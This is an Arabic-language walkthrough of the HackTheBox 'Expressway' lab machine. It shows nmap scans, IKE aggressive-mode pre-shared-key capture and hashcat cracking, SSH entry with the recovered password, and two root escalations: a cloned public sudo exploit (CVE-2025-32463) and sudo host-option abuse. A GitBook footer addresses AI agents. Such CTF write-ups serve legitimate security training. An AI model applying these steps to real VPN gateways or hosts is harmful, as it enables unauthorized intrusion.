> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md).

# شرح Expressway HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Expressway>" %}

{% hint style="warning" %}
**المهارات:**

* معرفة حول تعداد واستغلال خدمة IKE
* تعداد نظام Linux
* استغلال CVE-2025-32462
  {% endhint %}

#### **إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/1294050da797aa58ac72856453c14ae77c5fc195" alt="" width="563"><figcaption></figcaption></figure>

#### **فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/0a9fa760927756bf0a0cf6f651e9d4ea5cb34224" alt="" width="563"><figcaption></figcaption></figure>

#### **اكتشاف المنافذ المفتوحة باستخدام Nmap:**

الخطوة الأولى هي تحديد الخدمات المكشوفة. نقوم بإجراء فحص سريع لمنافذ TCP وUDP.

#### فحص TCP

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.238.52 -oG allPort
```

#### فحص UDP

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.129.238.52 -oG allPortsUDP
```

<figure><img src="/files/f127f2fd95f261d721070e1161e5259292e664c6" alt=""><figcaption></figcaption></figure>

#### فحص الخدمات والإصدارات

بعد تحديد المنافذ، نتعمق أكثر في الخدمات المحددة:

* TCP : المنفذ 22 (SSH)
* UDP : المنافذ 68، 69 (TFTP)، 500 (ISAKMP/VPN)، 4500 (IPsec-NAT-T)

```bash
nmap -sCV -p22 10.129.238.52 -oN targeted
```

```bash
nmap -sUCV -p 68,69,500,4500 10.129.238.52 -oN targetedUDP
```

<figure><img src="/files/396db25831125825a6c99c8ae54a0315fbf23ea0" alt=""><figcaption></figcaption></figure>

### الاقتحام : استغلال IKE (VPN)

يشير المنفذ 500 UDP إلى خدمة تبادل مفاتيح (IKE). نحاول التقاط المفتاح المشترك مسبقًا (PSK) باستخدام الوضع العدواني.

#### تحديد المعرّف

نستخدم `ike-scan` للتحقق مما إذا كان الوضع العدواني مفعّلًا:.

```bash
sudo ike-scan -A 10.129.238.52
```

* النتيجة: تمت المصافحة بنجاح. تم اكتشاف المعرّف: `ike@expressway.htb`.

#### التقاط وكسر تجزئة PSK

<figure><img src="/files/e54425a70874008a3c422bdb29d758a858258ede" alt=""><figcaption></figcaption></figure>

```bash
sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52
```

نستخرج التجزئة لمحاولة تنفيذ هجوم بالقوة الغاشمة باستخدام `rockyou.txt` القاموس.

```bash
hashcat expressway.psk /usr/share/wordlists/rockyou.txt
```

* بيانات الاعتماد التي تم الحصول عليها: `ike`: `freakingrockstarontheroad`

<figure><img src="/files/60a222a4d997b4440531205141c4bbdf9138f9d4" alt=""><figcaption></figcaption></figure>

#### الوصول الأولي

الاتصال عبر SSH باستخدام بيانات الاعتماد التي تم العثور عليها:

```bash
ssh ike@10.129.238.52
```

## تصعيد الامتيازات

تم تأكيد مسارين لرفع الامتيازات إلى root.

### الطريقة 1: CVE-2025-32463 (ثغرة sudo)

التحقق من إصدار sudo باستخدام `sudo -V`، نرى أن الإصدار هو 1.9.17، وهو معرّض للثغرة.

{% embed url="<https://github.com/MohamedKarrab/CVE-2025-32463>" %}

<figure><img src="/files/4cdeea448a5ca5f2a5871a784cbef99f34aa4f92" alt=""><figcaption></figcaption></figure>

1. استنساخ الاستغلال:

```bash
git clone https://github.com/MohamedKarrab/CVE-2025-32463.git
cd CVE-2025-32463
```

تنفيذ نصوص الترجمة البرمجية والاستغلال:

```bash
./mkall-dynamic.sh
./get_root.sh
```

<figure><img src="/files/b88898bb02ab70fc7fbd713bf88e41488eb27c82" alt=""><figcaption></figcaption></figure>

### الطريقة 2: استغلال مجموعة Proxy وأسماء المضيفين

من خلال تدقيق مجموعات المستخدم، نرى أننا ننتمي إلى مجموعة proxy. نحن نبحث عن الملفات المرتبطة:

<figure><img src="/files/3e238a7f056294545ed2949f88cd1c2fd95bec59" alt=""><figcaption></figcaption></figure>

من خلال فحص سجلات Squid (`/var/log/squid/access.log.1`)

```bash
find / -group proxy 2>/dev/null
```

<figure><img src="/files/dacb0d54a4a83ddeab35e194f1587d92c5ce1c49" alt=""><figcaption></figcaption></figure>

نكتشف نطاقًا فرعيًا داخليًا: `offramp.expressway.htb`.

```bash
cat /var/log/squid/access.log.1 | grep httpp
```

<figure><img src="/files/5778218bff3994c880083c46c8421f993842f9ec" alt=""><figcaption></figcaption></figure>

عند التحقق من سياسات sudo لهذا النطاق المحدد نكتشف أن لدينا صلاحيات كاملة:

```bash
sudo -h offramp.expressway.htb -l
```

النتيجة: يمكننا تشغيل أي أمر كـ root في سياق هذا المضيف.

<figure><img src="/files/a31487a57c6add87b2d6fd3cd3766dc69a49b738" alt=""><figcaption></figcaption></figure>

**التنفيذ النهائي للحصول على Root:**

```bash
sudo -h offramp.expressway.htb /bin/bash
```

<figure><img src="/files/0bc0e283088f3d24fa87979436d57324d42bb547" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/10bc94b09dac51346d23b349eb66d8d28a2d36f4" alt="" width="524"><figcaption></figcaption></figure>

<figure><img src="/files/4582bc78c0b5f5350d27ab9942e9e283d3fe24c5" alt="" width="389"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
